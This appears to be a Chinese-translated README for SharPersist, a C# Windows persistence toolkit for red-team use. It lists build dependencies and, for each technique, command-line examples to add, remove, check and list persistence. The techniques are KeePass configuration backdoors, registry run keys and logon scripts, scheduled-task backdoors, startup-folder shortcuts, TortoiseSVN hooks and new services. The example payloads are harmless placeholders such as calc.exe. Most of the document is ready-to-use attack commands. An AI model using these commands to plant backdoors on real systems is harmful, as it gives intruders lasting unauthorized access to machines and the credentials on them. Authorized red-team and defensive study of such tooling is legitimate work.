Windows 持久化工具包,使用 C# 编写。有关每种技术的详细用法,请参阅 Wiki。
作者 - Brett Hawkins (@h4wkst3r)
按照以下步骤设置 Visual Studio,即可自行编译该项目。这需要一些可通过 NuGet 包管理器安装的 .NET 库。
此项目使用了以下第三方库。
| 库 | URL | 许可证 |
|---|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler | MIT License |
| Fody | https://github.com/Fody/Fody | MIT License |
Install-Package Costura.Fody -Version 3.3.3Install-Package TaskScheduler -Version 2.8.11keepass - KeePass 配置文件后门reg - 注册表项添加/修改schtaskbackdoor - 通过添加额外操作向计划任务植入后门startupfolder - 启动文件夹中的 lnk 文件tortoisesvn - TortoiseSVN 钩子脚本service - 创建新的 Windows 服务schtask - 创建新的计划任务add - 添加持久化技术remove - 移除持久化技术check - 对持久化技术执行试运行(dry-run)list - 列出持久化技术的当前条目env - 用于注册表环境变量混淆的可选附加功能hourly - 用于计划任务频率的可选附加功能(每小时)daily - 用于计划任务频率的可选附加功能(每天)logon - 用于计划任务频率的可选附加功能(登录时)hklmrunhklmrunoncehklmrunonceexhkcurunhkcurunoncelogonscriptstickynotesuserinitKeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
注册表
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
计划任务后门
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
启动文件夹
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add
Windows 服务
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
计划任务
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly
KeePass
SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove
注册表
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env
SharPersist -t reg -k "logonscript" -m remove
计划任务后门
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
启动文件夹
SharPersist -t startupfolder -f "Some File" -m remove
Tortoise SVN
SharPersist -t tortoisesvn -m remove
Windows 服务
SharPersist -t service -n "Some Service" -m remove
计划任务
SharPersist -t schtask -n "Some Task" -m remove
KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check
注册表
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check
计划任务后门
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check
启动文件夹
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check
Windows 服务
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check
计划任务
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly
注册表
SharPersist -t reg -k "hkcurun" -m list
计划任务后门
SharPersist -t schtaskbackdoor -m list
SharPersist -t schtaskbackdoor -m list -n "Some Task"
SharPersist -t schtaskbackdoor -m list -o logon
启动文件夹
SharPersist -t startupfolder -m list
Windows 服务
SharPersist -t service -m list
SharPersist -t service -m list -n "Some Service"
计划任务
SharPersist -t schtask -m list
SharPersist -t schtask -m list -n "Some Task"
SharPersist -t schtask -m list -o logon